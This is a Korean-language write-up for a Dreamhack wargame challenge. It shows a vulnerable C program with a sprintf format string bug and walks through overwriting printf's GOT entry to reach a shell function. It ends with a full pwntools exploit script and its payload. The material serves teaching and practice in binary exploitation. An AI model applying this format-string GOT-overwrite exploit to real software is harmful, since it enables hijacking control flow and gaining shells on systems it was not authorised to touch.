Index
문제
보호기법 확인
NX bit가 켜져있고, Partial RELRO이므로 GOT overwrite가 가능하다.
basic_exploitation_003.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
get_shell
함수를 보아 코드 흐름을 변경하여 이 함수가 실행되도록 해야할 것 같다.
int sprintf(char *buffer, const char *format-string, argument-list);
위 코드는 sprintf
의 함수 원형이다. 3개의 인자가 사용되는 반면, 위 코드에서는 2개의 인자로 sprintf
함수를 호출한다. 이 부분을 디버깅해보면서 문제를 풀어보자.
문제 풀이
먼저, 바이너리를 실행해보자.
입력된 AAAA
의 주소 값이 바로 다음에 출력되는 것을 확인할 수 있다.
gdb로 sprintf
함수와 printf
함수에 breakpoint
를 걸고 분석하자.
sprintf에서 인자로 AAAA %p %p %p %p %p
가 들어간다.
continue로 printf
함수 호출 전을 보자.
printf
함수가 호출될 때 인자로 AAAA
를 비롯한 주소 값들이 들어간다. 앞서 sprintf
에서 포맷스트링버그가 발생하여 스택의 값을 반환했고, 이 전체를 printf
함수에서 문자열로 출력해주는 것이다.
포맷스트링 버그가 발생하는 sprintf
에서 다음에 실행되는 printf@got
를 overwrite
하여 printf함수 실행 시 get_shell
함수가 실행되도록 하면 셸을 얻을 수 있다.
printf@got
는 0x804a010이다.
get_shell
함수의 주소는 0x8048669
이다.
앞선 basic_exploitation_002문제에서는 2byte
로 나누어 got overwrite를 했으나, 여기서는 heap 공간의 크기가 0x80
이므로, 그 이상의 값을 쓸 수 없다. 그래서 1byte
씩 입력을 해줄 것이고, 두개의 주소값이 0x804
로 동일하기 때문에 2byte
만 덮어쓰면 된다.
페이로드는 0x804a010 + 0x804a011 + %97c%1$hhn + %29c%2$hhn
가 된다.
%n
를 통해 앞서 작성된 문자열의 길이로 값을 구성하는 것이기 때문에, 낮은 값부터 입력을 한다.
우리가 입력해야 할 값은 0x69
와 0x86
이므로, 0x69
부터 입력을 한다.
앞에 주소값 8byte
가 입력됐으므로, 0x61
를 10진수로 하여 %97c
를 입력해서 printf@got
(1$)에 0x69
값을 저장한다.
이후, 두번째 주소인 printf@got+1
에 앞서 입력한 0x69
길이를 제외한 0x1d
를 10진수로 하여 %29c
를 입력해서 printf@got+1
(2$)에 0x86
값을 저장한다.
또한 %n
사이에 hh
를 통해 1byte
만 참조하도록 한다.
익스플로잇
from pwn import *
p = process('./basic_exploitation_003')
e = ELF('./basic_exploitation_003')
#p = remote('host3.dreamhack.games', 21144)
get_shell = 0x08048669
printf_got_addr1 = e.got['printf']
printf_got_addr2 = e.got['printf']+1
payload = p32(printf_got_addr1)
payload += p32(printf_got_addr2)
payload += b'%97c%1$hhn'
payload += b'%29c%2$hhn'
p.sendline(payload)
p.interactive()
Uploaded by N2T